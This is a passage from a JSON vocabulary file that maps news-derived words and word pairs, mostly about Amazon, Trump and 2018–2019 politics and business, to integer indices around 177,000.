\"day protest\": 176855,\n  \"making america\": 176856,\n  \"rigged witch\": 176857,\n  \"cars clog\": 176858,\n  \"foundation ceo\": 176859,\n  \"resembles small\": 176860,\n  \"rates usps\": 176861,\n  \"furnishings players\": 176862,\n  \"000 prices\": 176863,\n  \"rare victory\": 176864,\n  \"indicate trump\": 176865,\n  \"tucson cement\": 176866,\n  \"security decision\": 176867,\n  \"jacqueline newman\": 176868,\n  \"issuing rare\": 176869,\n  \"routinely took\": 176870,\n  \"century integrated\": 176871,\n  \"commission faces\": 176872,\n  \"forests ecologically\": 176873,\n  \"fbi kept\": 176874,\n  \"voters majority\": 176875,\n  \"tariffs cost\": 176876,\n  \"breathe\": 176877,\n  \"bump isn\": 176878,\n  \"wield\": 176879,\n  \"fernandes interesting\": 176880,\n  \"worked improperly\": 176881,\n  \"intercut\": 176882,\n  \"included student\": 176883,\n  \"dreamed need\": 176884,\n  \"seeds herbs\": 176885,\n  \"sentinel hot\": 176886,\n  \"offer competitive\": 176887,\n  \"ami enquirer\": 176888,\n  \"story using\": 176889,\n  \"coded levels\": 176890,\n  \"liar loans\": 176891,\n  \"hbo announced\": 176892,\n  \"erroneous\": 176893,\n  \"force policy\": 176894,\n  \"resolved today\": 176895,\n  \"costs nobel\": 176896,\n  \"gallingly refused\": 176897,\n  \"boosting jeff\": 176898,\n  \"retirement according\": 176899,\n  \"low competition\": 176900,\n  \"latest tensions\": 176901,\n  \"sharply\": 176902,\n  \"export infrastructure\": 176903,\n  \"fau schmidt\": 176904,\n  \"post revealed\": 176905,\n  \"life past\": 176906,\n  \"landless social\": 176907,\n  \"voicing\": 176908,\n  \"latest children\": 176909,\n  \"attacked county\": 176910,\n  \"jobs just\": 176911,\n  \"avoid having\": 176912,\n  \"including night\": 176913,\n  \"crybaby photo\": 176914,\n  \"shrink\": 176915,\n  \"choose winning\": 176916,\n  \"pavilion\": 176917,\n  \"cases confirmed\": 176918,\n  \"man detained\": 176919,\n  \"party saying\": 176920,\n  \"night host\": 176921,\n  \"faries\": 176922,\n  \"ceo executive\": 176923,\n  \"couldn confirm\": 176924,\n  \"basic strategy\": 176925,\n  \"stern\": 176926,\n  \"homeless population\": 176927,\n  \"claims group\": 176928,\n  \"putting road\": 176929,\n  \"active contract\": 176930,\n  \"shutdown looms\": 176931,\n  \"takes control\": 176932,\n  \"killed president\": 176933,\n  \"shares dropped\": 176934,\n  \"hq2 2019\": 176935,\n  \"amazon watch\": 176936,\n  \"retweeting\": 176937,\n  \"fellow faang\": 176938,\n  \"getty image\": 176939,\n  \"enquirer coverage\": 176940,\n  \"planet amazon\": 176941,\n  \"sends ripples\": 176942,\n  \"kelly princesses\": 176943,\n  \"firm respond\": 176944,\n  \"told\": 176945,\n  \"magazine covers\": 176946,\n  \"jacobson recounts\": 176947,\n  \"castigates people\": 176948,\n  \"precious asset\": 176949,\n  \"unequal\": 176950,\n  \"know itdepends\": 176951,\n  \"the25th\": 176952,\n  \"pisani\": 176953,\n  \"law rep\": 176954,\n  \"po oil\": 176955,\n  \"tag appears\": 176956,\n  \"sink brody\": 176957,\n  \"day sustain\": 176958,\n  \"people injured\": 176959,\n  \"immigrant mom\": 176960,\n  \"packages instead\": 176961,\n  \"labor problem\": 176962,\n  \"bootleg upload\": 176963,\n  \"best illusions\": 176964,\n  \"ahead commercial\": 176965,\n  \"worker uses\": 176966,\n  \"weise\": 176967,\n  \"shutdown speech\": 176968,\n  \"publicly called\": 176969,\n  \"shelf long\": 176970,\n  \"1892\": 176971,\n  \"netflix business\": 176972,\n  \"sonos\": 176973,\n  \"videoplayer getlibraryname\": 176974,\n  \"cash 2019\": 176975,\n  \"heavily implied\": 176976,\n  \"gingerbread people\": 176977,\n  \"633a4f8c129d pf_rd_i\": 176978,\n  \"healthcare companies\": 176979,\n  \"pushed turnout\": 176980,\n  \"seen president\": 176981,\n  \"remove president\": 176982,\n  \"asylum\": 176983,\n  \"arrest warrant\": 176984,\n  \"business peaked\": 176985,\n  \"realty advisors\": 176986,\n  \"key expense\": 176987,\n  \"disruptor\": 176988,\n  \"growth soared\": 176989,\n  \"loves success\": 176990,\n  \"institution fellow\": 176991,\n  \"fox nation\": 176992,\n  \"biased fake\": 176993,\n  \"profit reinvestment\": 176994,\n  \"clouds referred\": 176995,\n  \"alternate\": 176996,\n  \"wants kick\": 176997,\n  \"addressing mining\": 176998,\n  \"units\": 176999,\n  \"security component\": 177000,\n  \"kastrenakes\": 177001,\n  \"everyday devices\": 177002,\n  \"technical cooperation\": 177003,\n  \"emarketer read\": 177004,\n  \"able\": 177005,\n  \"gun righteous\": 177006,\n  \"systematically removed\": 177007,\n  \"indian rupees\": 177008,\n  \"function\": 177009,\n  \"isbn 978\": 177010,\n  \"related employment\": 177011,\n  \"online different\": 177012,\n  \"dying uncle\": 177013,\n  \"immeasurable economic\": 177014,\n  \"eyes shine\": 177015,\n  \"journalists following\": 177016,\n  \"best campaign\": 177017,\n  \"project shows\": 177018,\n  \"supreme usa\": 177019,\n  \"officer jeff\": 177020,\n  \"make investments\": 177021,\n  \"romance\": 177022,\n  \"brought low\": 177023,\n  \"uncontainable fires\": 177024,\n  \"buying stock\": 177025,\n  \"hallow\": 177026,\n  \"flint mall\": 177027,\n  \"better things\": 177028,\n  \"thinkings involving\": 177029,\n  \"actually reaching\": 177030,\n  \"aides disparage\": 177031,\n  \"retail earnings\": 177032,\n  \"algeria rocked\": 177033,\n  \"particular muckerman\": 177034,\n  \"keeping maps\": 177035,\n  \"continuing navarro\": 177036,\n  \"exas creative\": 177037,\n  \"formulating hate\": 177038,\n  \"film documents\": 177039,\n  \"international data\": 177040,\n  \"nafta according\": 177041,\n  \"enrolment\": 177042,\n  \"absolute basis\": 177043,\n  \"dirty bomb\": 177044,\n  \"a4ee p1\": 177045,\n  \"receive check\": 177046,\n  \"richie\": 177047,\n  \"2017 acosta\": 177048,\n  \"sensitivity\": 177049,\n  \"notre\": 177050,\n  \"economic reality\": 177051,\n  \"offers keynote\": 177052,\n  \"idea resulted\": 177053,\n  \"paul safe\": 177054,\n  \"squawk box\": 177055,\n  \"stolen wages\": 177056,\n  \"amazon vertical\": 177057,\n  \"principal sponsor\": 177058,\n  \"breaking number\": 177059,\n  \"super bowl\": 177060,\n  \"landfall fernando\": 177061,\n  \"location hostname\": 177062,\n  \"urban development\": 177063,\n  \"minor children\": 177064,\n  \"democrats especially\": 177065,\n  \"expensive lawsuits\": 177066,\n  \"netflix wild\": 177067,\n  \"pyjamas\": 177068,\n  \"commerce steadily\": 177069,\n  \"dedicated people\": 177070,\n  \"bourdain talks\": 177071,\n  \"partygoers\": 177072,\n  \"dividend blue\": 177073,\n  \"estranged spouses\": 177074,\n  \"badassery\": 177075,\n  \"media unit\": 177076,\n  \"preventing return\": 177077,\n  \"costly divorce\": 177078,\n  \"publicity constantly\": 177079,\n  \"customer preferences\": 177080,\n  \"deal brexit\": 177081,\n  \"600m contract\": 177082,\n  \"multiple results\": 177083,\n  \"abbi jacobson\": 177084,\n  \"amazon cozy\": 177085,\n  \"progress ahead\": 177086,\n  \"employees living\": 177087,\n  \"payment processing\": 177088,\n  \"david williams\": 177089,\n  \"special shareholders\": 177090,\n  \"sellers products\": 177091,\n  \"city style\": 177092,\n  \"google canada\": 177093,\n  \"assumed package\": 177094,\n  \"reno\": 177095,\n  \"market 6097408\": 177096,\n  \"year firecracker\": 177097,\n  \"tribute\": 177098,\n  \"defer\": 177099,\n  \"political works\": 177100,\n  \"guru instead\": 177101,\n  \"anadolu\": 177102,\n  \"handlers offload\": 177103,\n  \"satchatuk rt\": 177104,\n  \"called ami\": 177105,\n  \"450 people\": 177106,\n  \"billion joint\": 177107,\n  \"fulfillment service\": 177108,\n  \"expecting\": 177109,\n  \"streaming netflix\": 177110,\n  \"jpg img_caption\": 177111,\n  \"significantly focused\": 177112,\n  \"quick hits\": 177113,\n  \"microneedles\": 177114,\n  \"opening\": 177115,\n  \"amazon subsidiary\": 177116,\n  \"global art\": 177117,\n  \"nelson gives\": 177118,\n  \"recalled\": 177119,\n  \"tyranny maybe\": 177120,\n  \"reimpose\": 177121,\n  \"news wt\": 177122,\n  \"wall streets\": 177123,\n  \"anya taylor\": 177124,\n  \"retired navy\": 177125,\n  \"delegitimizing\": 177126,\n  \"1055524794110664704\": 177127,\n  \"nixon cynthianixon\": 177128,\n  \"companies including\": 177129,\n  \"winning cities\": 177130,\n  \"difference hours\": 177131,\n  \"deal lasts\": 177132,\n  \"make issues\": 177133,\n  \"ethan coen\": 177134,\n  \"driving business\": 177135,\n  \"stump\": 177136,\n  \"strange\": 177137,\n  \"r4ee c4e\": 177138,\n  \"640 shares\": 177139,\n  \"mutual wealth\": 177140,\n  \"day half\": 177141,\n  \"2018 tech\": 177142,\n  \"presssec\": 177143,\n  \"mantra\": 177144,\n  \"nominations\": 177145,\n  \"campaigns person\": 177146,\n  \"doubted\": 177147,\n  \"jessie woolley\": 177148,\n  \"itep received\": 177149,\n  \"phillip\": 177150,\n  \"boardrooms given\": 177151,\n  \"fueled varney\": 177152,\n  \"george clooney\": 177153,\n  \"bezos insinuated\": 177154,\n  \"remember president\": 177155,\n  \"virtually ensures\": 177156,\n  \"help figure\": 177157,\n  \"protest number\": 177158,\n  \"states especially\": 177159,\n  \"pendleton\": 177160,\n  \"abruptly aborted\": 177161,\n  \"true believers\": 177162,\n  \"mountable\": 177163,\n  \"protects freedom\": 177164,\n  \"visually stunning\": 177165,\n  \"wants silicon\": 177166,\n  \"hassle\": 177167,\n  \"pretty rough\": 177168,\n  \"adjourned\": 177169,\n  \"allow vote\": 177170,\n  \"editorializes\": 177171,\n  \"hispanic\": 177172,\n  \"rail safety\": 177173,\n  \"hope anderson\": 177174,\n  \"sector declined\": 177175,\n  \"grace revival\": 177176,\n  \"actually include\": 177177,\n  \"repatriates\": 177178,\n  \"stakes digital\": 177179,\n  \"2017 year\": 177180,\n  \"citizen outrage\": 177181,\n  \"moguldom media\": 177182,\n  \"rare writer\": 177183,\n  \"indefensible scam\": 177184,\n  \"space autonomic\": 177185,\n  \"patrice\": 177186,\n  \"obama executive\": 177187,\n  \"burgeoning divide\": 177188,\n  \"goldenbenjamin\": 177189,\n  \"retailer announced\": 177190,\n  \"1536177183 tesla\": 177191,\n  \"value platform\": 177192,\n  \"expedition witch\": 177193,\n  \"gaga\": 177194,\n  \"nasty concept\": 177195,\n  \"deleting vaccine\": 177196,\n  \"802 660\": 177197,\n  \"just right\": 177198,\n  \"tweet hailed\": 177199,\n  \"products amazon\": 177200,\n  \"record amounts\": 177201,\n  \"local news\": 177202,\n  \"face antitrust\": 177203,\n  \"reveal winning\": 177204,\n  \"trump enemies\": 177205,\n  \"east river\": 177206,\n  \"just net\": 177207,\n  \"2018 abc\": 177208,\n  \"biggest monopolies\": 177209,\n  \"sykes sykescharlie\": 177210,\n  \"amazon amzn\": 177211,\n  \"cuts outline\": 177212,\n  \"state visiting\": 177213,\n  \"longtime online\": 177214,\n  \"homeland bolsonaro\": 177215,\n  \"proudly delivers\": 177216,\n  \"t000002775\": 177217,\n  \"spread misleading\": 177218,\n  \"infinite\": 177219,\n  \"held rallies\": 177220,\n  \"patricia\": 177221,\n  \"pondering\": 177222,\n  \"acquire twitter\": 177223,\n  \"washington members\": 177224,\n  \"private usa\": 177225,\n  \"korean deal\": 177226,\n  \"007\": 177227,\n  \"845m did\": 177228,\n  \"messaging service\": 177229,\n  \"bp public\": 177230,\n  \"thing entirely\": 177231,\n  \"dirty text\": 177232,\n  \"couldn substantiate\": 177233,\n  \"report transcripts\": 177234,\n  \"housing assistance\": 177235,\n  \"momentum\": 177236,\n  \"center estimates\": 177237,\n  \"self regulate\": 177238,\n  \"war hints\": 177239,\n  \"grappled\": 177240,\n  \"lift tax\": 177241,\n  \"air transport\": 177242,\n  \"gain market\": 177243,\n  \"sports fans\": 177244,\n  \"released low\": 177245,\n  \"finance bitcoin\": 177246,\n  \"consumer manufacturing\": 177247,\n  \"movement notched\": 177248,\n  \"laws based\": 177249,\n  \"demonstrating bias\": 177250,\n  \"retail profits\": 177251,\n  \"homosexual community\": 177252,\n  \"gop agenda\": 177253,\n  \"american foundation\": 177254,\n  \"jeffries ruffled\": 177255,\n  \"altogether ignored\": 177256,\n  \"antitrust chief\": 177257,\n  \"humane just\": 177258,\n  \"service reports\": 177259,\n  \"combos feature\": 177260,\n  \"youtube star\": 177261,\n  \"vel\\u00e1zquez\": 177262,\n  \"freddy kunkle\": 177263,\n  \"exciting streamlined\": 177264,\n  \"likable characters\": 177265,\n  \"software amazon\": 177266,\n  \"require corporations\": 177267,\n  \"law creates\": 177268,\n  \"self run\": 177269,\n  \"mexico pay\": 177270,\n  \"impressive run\": 177271,\n  \"jv ceo\": 177272,\n  \"football hall\": 177273,\n  \"kaya\": 177274,\n  \"crowning achievement\": 177275,\n  \"imposter potus\": 177276,\n  \"routine wage\": 177277,\n  \"geneva\": 177278,\n  \"wouldn benefit\": 177279,\n  \"mccarthy leading\": 177280,\n  \"people react\": 177281,\n  \"cheap bobblehead\": 177282,\n  \"invest billion\": 177283,\n  \"local agent\": 177284,\n  \"aws blogamazon\": 177285,\n  \"orders bare\": 177286,\n  \"wages better\": 177287,\n  \"leaguers\": 177288,\n  \"raccoon wasn\": 177289,\n  \"appropriate yes\": 177290,\n  \"muckraking new\": 177291,\n  \"street sharply\": 177292,\n  \"film donnell\": 177293,\n  \"intopresident\": 177294,\n  \"cbpp\": 177295,\n  \"compile today\": 177296,\n  \"liberal radical\": 177297,\n  \"celebrity deaths\": 177298,\n  \"media traffic\": 177299,\n  \"crossers month\": 177300,\n  \"blue team\": 177301,\n  \"row according\": 177302,\n  \"immediate target\": 177303,\n  \"p7\": 177304,\n  \"create jobs\": 177305,\n  \"disinformation\": 177306,\n  \"deportations amazon\": 177307,\n  \"black philips\": 177308,\n  \"problem doing\": 177309,\n  \"delivery freight\": 177310,\n  \"opposing president\": 177311,\n  \"charity baseball\": 177312,\n  \"different tale\": 177313,\n  \"niantic senior\": 177314,\n  \"warned staff\": 177315,\n  \"make donation\": 177316,\n  \"receive validation\": 177317,\n  \"cheapskates explained\": 177318,\n  \"workers don\": 177319,\n  \"tabloid donald\": 177320,\n  \"numerous current\": 177321,\n  \"public wsj\": 177322,\n  \"founder bozo\": 177323,\n  \"charles mudede\": 177324,\n  \"time consuming\": 177325,\n  \"plate taxes\": 177326,\n  \"contrarian\": 177327,\n  \"effectively written\": 177328,\n  \"angry planet\": 177329,\n  \"infrastructure troublesome\": 177330,\n  \"small landholders\": 177331,\n  \"faced plethora\": 177332,\n  \"severe storms\": 177333,\n  \"sanders vermont\": 177334,\n  \"blackmail despite\": 177335,\n  \"positive average\": 177336,\n  \"mad\": 177337,\n  \"500 residents\": 177338,\n  \"favorite trump\": 177339,\n  \"separation myth\": 177340,\n  \"tech democratic\": 177341,\n  \"americans increasingly\": 177342,\n  \"20stories pgtype\": 177343,\n  \"mocking fed\": 177344,\n  \"left office\": 177345,\n  \"member miller\": 177346,\n  \"brandingtextsub cardsectionname\": 177347,\n  \"retailer eradicating\": 177348,\n  \"democratic rep\": 177349,\n  \"amzn massachusetts\": 177350,\n  \"data wages\": 177351,\n  \"amazon demise\": 177352,\n  \"players 1529509628\": 177353,\n  \"m\\u025bnz \\u02c8ri\": 177354,\n  \"hire tens\": 177355,\n  \"dollar counts\": 177356,\n  \"ranks second\": 177357,\n  \"vegas porn\": 177358,\n  \"meaning 800\": 177359,\n  \"needy dipping\": 177360,\n  \"basically dominate\": 177361,\n  \"tanker\": 177362,\n  \"ex reality\": 177363,\n  \"nice james\": 177364,\n  \"qualify governor\": 177365,\n  \"goodlatte position\": 177366,\n  \"study finds\": 177367,\n  \"help homeless\": 177368,\n  \"entering campus\": 177369,\n  \"prominently paul\": 177370,\n  \"storing food\": 177371,\n  \"caused series\": 177372,\n  \"picking fight\": 177373,\n  \"supplements\": 177374,\n  \"device secretly\": 177375,\n  \"pacer\": 177376,\n  \"locher\": 177377,\n  \"south lawn\": 177378,\n  \"videos seen\": 177379,\n  \"pentagon mail\": 177380,\n  \"schiff identified\": 177381,\n  \"critical stance\": 177382,\n  \"make half\": 177383,\n  \"agile hasn\": 177384,\n  \"senior antitrust\": 177385,\n  \"image recognition\": 177386,\n  \"holiday delivery\": 177387,\n  \"siegler new\": 177388,\n  \"clarity later\": 177389,\n  \"unimagined stories\": 177390,\n  \"rhetoric big\": 177391,\n  \"asking davie\": 177392,\n  \"contains trump\": 177393,\n  \"special thanks\": 177394,\n  \"seemingly\": 177395,\n  \"aerial drones\": 177396,\n  \"periphery\": 177397,\n  \"agency investigators\": 177398,\n  \"readers hardly\": 177399,\n  \"182 zach\": 177400,\n  \"troubled lawyer\": 177401,\n  \"country stock\": 177402,\n  \"pubg_mobile\": 177403,\n  \"story avalaras\": 177404,\n  \"sent cities\": 177405,\n  \"youths\": 177406,\n  \"dismiss lawsuit\": 177407,\n  \"lighters updated\": 177408,\n  \"000 likes\": 177409,\n  \"card stock\": 177410,\n  \"transportation\": 177411,\n  \"australian drama\": 177412,\n  \"alana\": 177413,\n  \"aut_footer_blurb\": 177414,\n  \"members list\": 177415,\n  \"baron predecessors\": 177416,\n  \"household earning\": 177417,\n  \"politics diplomacy\": 177418,\n  \"rights home\": 177419,\n  \"large institutional\": 177420,\n  \"500 increased\": 177421,\n  \"jessica abo\": 177422,\n  \"linkedin amazon\": 177423,\n  \"shephard argues\": 177424,\n  \"labelled alexandria\": 177425,\n  \"netflix today\": 177426,\n  \"finding mailbox\": 177427,\n  \"world imageurl\": 177428,\n  \"profane chants\": 177429,\n  \"employees qualify\": 177430,\n  \"users\": 177431,\n  \"hour deliveries\": 177432,\n  \"building hotel\": 177433,\n  \"warren new\": 177434,\n  \"sex act\": 177435,\n  \"commerce customers\": 177436,\n  \"measles prime\": 177437,\n  \"wh possible\": 177438,\n  \"threw fits\": 177439,\n  \"living standards\": 177440,\n  \"tv executives\": 177441,\n  \"modest tax\": 177442,\n  \"michelle\": 177443,\n  \"shippers postal\": 177444,\n  \"meetings appeared\": 177445,\n  \"town manager\": 177446,\n  \"analysts expectations\": 177447,\n  \"city feb\": 177448,\n  \"discovered legal\": 177449,\n  \"feet inches\": 177450,\n  \"admiral house\": 177451,\n  \"facebook group\": 177452,\n  \"potent neurological\": 177453,\n  \"hacked following\": 177454,\n  \"wants desperately\": 177455,\n  \"bright idea\": 177456,\n  \"mentioned trump\": 177457,\n  \"solving algebra\": 177458,\n  \"king suspenseful\": 177459,\n  \"nh\": 177460,\n  \"sparked\": 177461,\n  \"general jeff\": 177462,\n  \"purpose google\": 177463,\n  \"hat knockoffs\": 177464,\n  \"negative story\": 177465,\n  \"clashes amazon\": 177466,\n  \"kit comprises\": 177467,\n  \"lockheed marillyn\": 177468,\n  \"absolutely think\": 177469,\n  \"columnist trump\": 177470,\n  \"big pricey\": 177471,\n  \"cancelled phone\": 177472,\n  \"analysis itep\": 177473,\n  \"essentially encouraging\": 177474,\n  \"karen weise\": 177475,\n  \"voters support\": 177476,\n  \"recently promises\": 177477,\n  \"glitch news\": 177478,\n  \"witzig\": 177479,\n  \"rigging results\": 177480,\n  \"act flsa\": 177481,\n  \"written attacks\": 177482,\n  \"companies picked\": 177483,\n  \"grade according\": 177484,\n  \"preventdefault a4ee\": 177485,\n  \"fathered child\": 177486,\n  \"water levels\": 177487,\n  \"outlets senior\": 177488,\n  \"talk galloway\": 177489,\n  \"publicly rebut\": 177490,\n  \"financial risks\": 177491,\n  \"ceasing purchases\": 177492,\n  \"microsoft currently\": 177493,\n  \"stolen products\": 177494,\n  \"program fourth\": 177495,\n  \"rep deb\": 177496,\n  \"outskirts\": 177497,\n  \"aug photo\": 177498,\n  \"represent formalization\": 177499,\n  \"documents france\": 177500,\n  \"2018 yanny\": 177501,\n  \"market power\": 177502,\n  \"estimates kind\": 177503,\n  \"rich financial\": 177504,\n  \"criminal murderous\": 177505,\n  \"heir apparent\": 177506,\n  \"predecessors\": 177507,\n  \"virginia teachers\": 177508,\n  \"grids\": 177509,\n  \"rejecting\": 177510,\n  \"pro black\": 177511,\n  \"past bands\": 177512,\n  \"captivating\": 177513,\n  \"google employee\": 177514,\n  \"pop\": 177515,\n  \"business owner\": 177516,\n  \"political analyst\": 177517,\n  \"pecker close\": 177518,\n  \"gagster\": 177519,\n  \"years washington\": 177520,\n  \"easley observed\": 177521,\n  \"designed carries\": 177522,\n  \"hardie\": 177523,\n  \"gas emitter\": 177524,\n  \"gupta\": 177525,\n  \"panoramic original\": 177526,\n  \"komorebi\": 177527,\n  \"participant media\": 177528,\n  \"latest breaking\": 177529,\n  \"workers saying\": 177530,\n  \"located right\": 177531,\n  \"run successful\": 177532,\n  \"president attempting\": 177533,\n  \"john diaz\": 177534,\n  \"2018 lose\": 177535,\n  \"muse\": 177536,\n  \"ideal situation\": 177537,\n  \"powerful storms\": 177538,\n  \"enquirer article\": 177539,\n  \"life lessons\": 177540,\n  \"story american\": 177541,\n  \"q2 revenue\": 177542,\n  \"elizabeth jardim\": 177543,\n  \"korea denuclearization\": 177544,\n  \"livewire business\": 177545,\n  \"scott stringer\": 177546,\n  \"fingernails\": 177547,\n  \"expectations thanks\": 177548,\n  \"newhouse\": 177549,\n  \"containerclassid cnn\": 177550,\n  \"programming assets\": 177551,\n  \"company reputation\": 177552,\n  \"californian\": 177553,\n  \"pretends\": 177554,\n  \"beatles single\": 177555,\n  \"polluter pointing\": 177556,\n  \"dabbled\": 177557,\n  \"americans pay\": 177558,\n  \"teens forming\": 177559,\n  \"idiotic war\": 177560,\n  \"2020 npr\": 177561,\n  \"raise 200\": 177562,\n  \"andy rubin\": 177563,\n  \"photo kelly\": 177564,\n  \"increasingly polarized\": 177565,\n  \"swamp looks\": 177566,\n  \"stamps sanders\": 177567,\n  \"indian smartphone\": 177568,\n  \"wmj orig\": 177569,\n  \"illinois progressive\": 177570,\n  \"spacey\": 177571,\n  \"kelsey snell\": 177572,\n  \"discover\": 177573,\n  \"ass fight\": 177574,\n  \"driving retailers\": 177575,\n  \"site politico\": 177576,\n  \"prim amazon\": 177577,\n  \"porn traffic\": 177578,\n  \"received hundreds\": 177579,\n  \"coupon code\": 177580,\n  \"reported amazon\": 177581,\n  \"commission does\": 177582,\n  \"underappreciated\": 177583,\n  \"parker pillpack\": 177584,\n  \"lawsuit earlier\": 177585,\n  \"ice case\": 177586,\n  \"received including\": 177587,\n  \"deutsch republicans\": 177588,\n  \"children ran\": 177589,\n  \"exceptional\": 177590,\n  \"walmart stores\": 177591,\n  \"miller requested\": 177592,\n  \"756 million\": 177593,\n  \"valuable public\": 177594,\n  \"frum\": 177595,\n  \"lobbying efforts\": 177596,\n  \"maintaining\": 177597,\n  \"welcome aboard\": 177598,\n  \"packaged shipped\": 177599,\n  \"reportedly gearing\": 177600,\n  \"months pirro\": 177601,\n  \"user\": 177602,\n  \"762 billion\": 177603,\n  \"france ap\": 177604,\n  \"day rate\": 177605,\n  \"bad years\": 177606,\n  \"pointed\": 177607,\n  \"lightweight\": 177608,\n  \"adopted heated\": 177609,\n  \"wasp\": 177610,\n  \"view full_report\": 177611,\n  \"new followers\": 177612,\n  \"profit double\": 177613,\n  \"trump rally\": 177614,\n  \"proclamation\": 177615,\n  \"york jfk\": 177616,\n  \"work requirements\": 177617,\n  \"clue cnn\": 177618,\n  \"hasn broken\": 177619,\n  \"2s9tl9g\": 177620,\n  \"area aggressively\": 177621,\n  \"thwarting\": 177622,\n  \"credit cheap\": 177623,\n  \"investigation vestager\": 177624,\n  \"reached turning\": 177625,\n  \"398\": 177626,\n  \"security business\": 177627,\n  \"deep cuts\": 177628,\n  \"temporarily\": 177629,\n  \"thanked\": 177630,\n  \"andrea ricci\": 177631,\n  \"joint fear\": 177632,\n  \"public divorce\": 177633,\n  \"click pgtype\": 177634,\n  \"undoubtedly spill\": 177635,\n  \"biggest manufactured\": 177636,\n  \"haste makes\": 177637,\n  \"backed funding\": 177638,\n  \"director donna\": 177639,\n  \"warehouse footprint\": 177640,\n  \"anymore thank\": 177641,\n  \"redwood\": 177642,\n  \"totalitarian statements\": 177643,\n  \"encouraging\": 177644,\n  \"ami proposed\": 177645,\n  \"line canadian\": 177646,\n  \"states launch\": 177647,\n  \"gold prices\": 177648,\n  \"wary eye\": 177649,\n  \"ships items\": 177650,\n  \"getting easier\": 177651,\n  \"traditional residence\": 177652,\n  \"general secretary\": 177653,\n  \"follows ttph\": 177654,\n  \"dying department\": 177655,\n  \"popular device\": 177656,\n  \"___________________________\": 177657,\n  \"amazon milks\": 177658,\n  \"cannibas\": 177659,\n  \"prns\": 177660,\n  \"halliburton subsidiary\": 177661,\n  \"worldwide currently\": 177662,\n  \"owns scribner\": 177663,\n  \"bundling video\": 177664,\n  \"pullout announced\": 177665,\n  \"detectives\": 177666,\n  \"qid\": 177667,\n  \"kathleen benedetto\": 177668,\n  \"interactive graphic\": 177669,\n  \"win amazon\": 177670,\n  \"politicopro\": 177671,\n  \"faced harsh\": 177672,\n  \"playbook reads\": 177673,\n  \"selfies caption\": 177674,\n  \"smaller deals\": 177675,\n  \"low humidity\": 177676,\n  \"facing irrelevance\": 177677,\n  \"make specific\": 177678,\n  \"golden goose\": 177679,\n  \"vc\": 177680,\n  \"pa qa\": 177681,\n  \"pilot pg\": 177682,\n  \"springer\": 177683,\n  \"inhaling nitrous\": 177684,\n  \"journalism think\": 177685,\n  \"destroy trump\": 177686,\n  \"liss\": 177687,\n  \"bestseller chart\": 177688,\n  \"sending mixed\": 177689,\n  \"extant amazon\": 177690,\n  \"life event\": 177691,\n  \"heading\": 177692,\n  \"committee spoke\": 177693,\n  \"trump routinely\": 177694,\n  \"requiring\": 177695,\n  \"inward worrying\": 177696,\n  \"swooned sears\": 177697,\n  \"2018 want\": 177698,\n  \"livid\": 177699,\n  \"interracial buddy\": 177700,\n  \"directions\": 177701,\n  \"memo\": 177702,\n  \"usps presumably\": 177703,\n  \"bento\": 177704,\n  \"administration wants\": 177705,\n  \"scripted remarks\": 177706,\n  \"dandrezner\": 177707,\n  \"measure later\": 177708,\n  \"certain powerful\": 177709,\n  \"seen headlines\": 177710,\n  \"global perspectives\": 177711,\n  \"video views\": 177712,\n  \"international market\": 177713,\n  \"enquirer levenson\": 177714,\n  \"includes parts\": 177715,\n  \"yorkers queens\": 177716,\n  \"close tax\": 177717,\n  \"code amazon\": 177718,\n  \"rely heavily\": 177719,\n  \"anna reportedly\": 177720,\n  \"second richest\": 177721,\n  \"exempted\": 177722,\n  \"saudis furious\": 177723,\n  \"simulated oral\": 177724,\n  \"mourning scholarly\": 177725,\n  \"industry warren\": 177726,\n  \"crimes unit\": 177727,\n  \"seller wayfair\": 177728,\n  \"nighttime\": 177729,\n  \"meeting krystal\": 177730,\n  \"new charged\": 177731,\n  \"skimpy\": 177732,\n  \"undermining faith\": 177733,\n  \"innovation office\": 177734,\n  \"giants smartphone\": 177735,\n  \"tourists make\": 177736,\n  \"self published\": 177737,\n  \"yesterday new\": 177738,\n  \"western metlife\": 177739,\n  \"looks ripe\": 177740,\n  \"ripley senior\": 177741,\n  \"original software\": 177742,\n  \"500 bon\": 177743,\n  \"published video\": 177744,\n  \"importation\": 177745,\n  \"transportation improvements\": 177746,\n  \"5835 sky\": 177747,\n  \"florence instead\": 177748,\n  \"source conveys\": 177749,\n  \"brother trump\": 177750,\n  \"phenomenon isn\": 177751,\n  \"barr spying\": 177752,\n  \"training program\": 177753,\n  \"adds deals\": 177754,\n  \"facebook fell\": 177755,\n  \"initially rejected\": 177756,\n  \"sleeping\": 177757,\n  \"amazon regarded\": 177758,\n  \"premium embedded\": 177759,\n  \"eu increasingly\": 177760,\n  \"moving homeless\": 177761,\n  \"navarro dismissed\": 177762,\n  \"democrat bernie\": 177763,\n  \"doesn continue\": 177764,\n  \"genuinely funny\": 177765,\n  \"prince philip\": 177766,\n  \"expertise\": 177767,\n  \"tfdp\": 177768,\n  \"banned donald\": 177769,\n  \"whohas\": 177770,\n  \"considering moving\": 177771,\n  \"sports finding\": 177772,\n  \"guantanamo\": 177773,\n  \"eli tucker\": 177774,\n  \"vaccine documentaries\": 177775,\n  \"city stance\": 177776,\n  \"cook vegan\": 177777,\n  \"radio television\": 177778,\n  \"jeff zelevansky\": 177779,\n  \"pecker connection\": 177780,\n  \"investor baron\": 177781,\n  \"amazon devices\": 177782,\n  \"view mirror\": 177783,\n  \"nbcuniversal saying\": 177784,\n  \"r8 type\": 177785,\n  \"asia\": 177786,\n  \"tale\": 177787,\n  \"table collection\": 177788,\n  \"suncor peers\": 177789,\n  \"ice employees\": 177790,\n  \"little short\": 177791,\n  \"governors package\": 177792,\n  \"garland commercialappeal\": 177793,\n  \"beards\": 177794,\n  \"story cutting\": 177795,\n  \"life store\": 177796,\n  \"dudgeon\": 177797,\n  \"lichtenberg researcher\": 177798,\n  \"beals 415\": 177799,\n  \"7billion\": 177800,\n  \"mlp\": 177801,\n  \"centers fcs\": 177802,\n  \"discrete services\": 177803,\n  \"punish companies\": 177804,\n  \"davehclark\": 177805,\n  \"shapes change\": 177806,\n  \"middlesex updated\": 177807,\n  \"spent 141\": 177808,\n  \"twilight series\": 177809,\n  \"strongest quarterly\": 177810,\n  \"legendary president\": 177811,\n  \"recent piece\": 177812,\n  \"products keys\": 177813,\n  \"swir investorideas\": 177814,\n  \"spotty credit\": 177815,\n  \"scrapped\": 177816,\n  \"aramco way\": 177817,\n  \"offered additional\": 177818,\n  \"finance fraud\": 177819,\n  \"sanchez tv\": 177820,\n  \"whizzing\": 177821,\n  \"glad canceled\": 177822,\n  \"cortez plan\": 177823,\n  \"1270x734\": 177824,\n  \"invention conveyable\": 177825,\n  \"day crash\": 177826,\n  